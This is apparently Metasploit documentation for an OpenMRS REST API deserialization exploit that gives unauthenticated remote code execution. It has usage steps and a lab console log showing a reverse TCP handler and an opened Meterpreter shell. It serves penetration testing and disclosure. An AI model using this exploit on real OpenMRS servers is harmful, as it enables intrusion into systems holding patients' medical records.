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metasploit-gs/documentation/modules/exploit/multi/http/openmrs_deserialization.md
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2019-12-04 12:19:58 -06:00

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## Vulnerable Application
OpenMRS is an open-source platform that supplies
users with a customizable medical record system.
There exists an object deserialization vulnerability
in the `webservices.rest` module used in OpenMRS Platform
for versions below `v2.24.0`. Unauthenticated remote code
execution can be achieved by sending a malicious XML payload
to a Rest API endpoint such as `/ws/rest/v1/concept`.
Vulnerable versions of the software can be found [here](https://sourceforge.net/projects/openmrs/files/releases/).
Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
8 and Java 9.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/multi/http/openmrs_deserialization```
4. Do: ```set TARGETURI <uri>```
5. Do: ```set RHOSTS <ip>```
6. Do: ```run```
7. You should get a shell.
## Scenarios
### OpenMRS Platform `v2.1.2`
```
msf5 > use exploit/multi/http/openmrs_deserialization
msf5 exploit(multi/http/openmrs_deserialization) > set rhosts 192.168.37.176
rhosts => 192.168.37.176
msf5 exploit(multi/http/openmrs_deserialization) > set targeturi /openmrs-standalone
targeturi => /openmrs-standalone
msf5 exploit(multi/http/openmrs_deserialization) > check
[*] 192.168.37.176:8081 - The target appears to be vulnerable. OpenMRS platform version: 2.1.2
msf5 exploit(multi/http/openmrs_deserialization) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Target is running OpenMRS
[*] Sending payload...
[*] Sending stage (3021284 bytes) to 192.168.37.176
[*] Meterpreter session 3 opened (192.168.37.1:4444 -> 192.168.37.176:47056) at 2019-12-04 12:18:50 -0600
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 192.168.37.176
OS : Ubuntu 18.04 (Linux 5.0.0-36-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```